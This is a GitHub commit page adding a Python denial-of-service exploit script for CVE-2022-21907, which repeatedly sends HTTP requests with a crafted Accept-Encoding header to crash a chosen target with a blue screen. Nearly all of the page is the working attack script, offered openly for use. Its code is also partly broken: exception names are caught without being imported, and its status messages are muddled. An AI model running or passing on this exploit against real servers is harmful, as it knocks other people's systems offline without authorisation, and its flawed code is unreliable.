-
Notifications
You must be signed in to change notification settings - Fork 11
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
05f3a48
commit 0672dc0
Showing
2 changed files
with
124 additions
and
18 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,85 @@ | ||
#!/usr/bin/env python3 | ||
# -*- coding: utf-8 -*- | ||
|
||
""" | ||
This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). | ||
>>> import CVE202221907 | ||
~# python3 CVE202221907.py | ||
""" | ||
|
||
################### | ||
# This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). | ||
# Copyright (C) 2022 Maurice Lambert | ||
|
||
# This program is free software: you can redistribute it and/or modify | ||
# it under the terms of the GNU General Public License as published by | ||
# the Free Software Foundation, either version 3 of the License, or | ||
# (at your option) any later version. | ||
|
||
# This program is distributed in the hope that it will be useful, | ||
# but WITHOUT ANY WARRANTY; without even the implied warranty of | ||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | ||
# GNU General Public License for more details. | ||
|
||
# You should have received a copy of the GNU General Public License | ||
# along with this program. If not, see <https://www.gnu.org/licenses/>. | ||
################### | ||
|
||
__version__ = "1.0.0" | ||
__author__ = "Maurice Lambert" | ||
__author_email__ = "[email protected]" | ||
__maintainer__ = "Maurice Lambert" | ||
__maintainer_email__ = "[email protected]" | ||
__description__ = """ | ||
This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen). | ||
""" | ||
license = "GPL-3.0 License" | ||
__url__ = "https://github.com/mauricelambert/CVE-2022-21907" | ||
|
||
copyright = """ | ||
CVE-2022-21907 Copyright (C) 2022 Maurice Lambert | ||
This program comes with ABSOLUTELY NO WARRANTY. | ||
This is free software, and you are welcome to redistribute it | ||
under certain conditions. | ||
""" | ||
__license__ = license | ||
__copyright__ = copyright | ||
|
||
__all__ = [] | ||
|
||
print(copyright) | ||
|
||
from urllib.request import Request, urlopen | ||
from sys import exit, stderr | ||
|
||
host = input("Target: ") | ||
|
||
headers = { | ||
"Accept-Encoding": 'AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,' | ||
} | ||
|
||
try: | ||
response = urlopen(f"http://{host}") | ||
except (URLError, HTTPError) as e: | ||
pass | ||
except Exception as e: | ||
print(f"http://{host} is not DOWN.") | ||
print(f"{e.__class__}: {e}", file = stderr) | ||
exit(1) | ||
|
||
print(f"http://{host} is not UP. Start hacking...") | ||
|
||
while True: | ||
try: | ||
response = urlopen(Request(f"http://{host}", headers=headers)) | ||
except TimeoutError as e: | ||
print(f"http://{host} is not DOWN. {host} is vulnerable to CVE-2022-21907.") | ||
exit(0) | ||
except (URLError, HTTPError) as e: | ||
pass | ||
except Exception as e: | ||
print(f"{e.__class__}: {e}") | ||
|
||
print(f"Payload sent successfully. Try new request...") |